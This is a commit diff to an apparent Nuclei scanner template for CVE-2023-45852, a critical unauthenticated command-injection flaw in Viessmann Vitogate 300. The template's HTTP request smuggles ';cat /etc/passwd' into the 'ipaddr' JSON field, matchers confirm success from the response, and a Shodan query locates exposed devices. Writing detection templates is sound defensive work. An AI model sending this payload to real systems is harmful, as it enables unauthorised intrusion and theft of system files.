updated matcher

patch-1
Ritik Chaddha 2023-10-20 21:06:05 +05:30 committed by GitHub
parent 1f0c821f5d
commit 25ad1850f7
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1 changed files with 14 additions and 23 deletions

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@ -1,14 +1,15 @@
id: CVE-2023-45852
info:
name: Viessmann Vitogate 300 - Unauthenticated Remote Code Execution
author: iamnoooob, rootxharsh, pdresearch
name: Viessmann Vitogate 300 - Remote Code Execution
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: |
In Vitogate 300 2.1.3.0, /cgi-bin/vitogate.cgi allows an unauthenticated attacker to bypass authentication and execute arbitrary commands via shell metacharacters in the ipaddr params JSON data for the put method.
reference:
- https://connectivity.viessmann.com/gb/mp-fp/vitogate/vitogate-300-bn-mb.html
- https://github.com/Push3AX/vul/blob/main/viessmann/Vitogate300_RCE.md
tags: rce,vitogate
- https://nvd.nist.gov/vuln/detail/CVE-2023-45852
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
@ -18,11 +19,10 @@ info:
metadata:
verified: true
max-request: 1
shodan-query: title:"Vitogate 300"
fofa-query: title="Vitogate 300"
vendor: Viessmann
shodan-query: title="Vitogate 300"
variables:
marker: "{{randstr}}"
tags: cve,cve2023,rce,vitogate
http:
- raw:
@ -31,21 +31,12 @@ http:
Host: {{Hostname}}
Content-Type: application/json
{"method":"put","form":"form-4-8","session":"","params":{"ipaddr":"{{marker}};cat /etc/passwd"}}
{"method":"put","form":"form-4-8","session":"","params":{"ipaddr":"{{randstr}};cat /etc/passwd"}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'traceroute: {{marker}}: Unknown host'
- 'daemon:x:1:1:'
- type: word
part: header
words:
- 'Content-Type: application/json'
- type: status
status:
- 200
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(header, "application/json")'
- 'contains_all(body, "traceroute: {{randstr}}: Unknown host", "daemon:x:1:1:")'
condition: and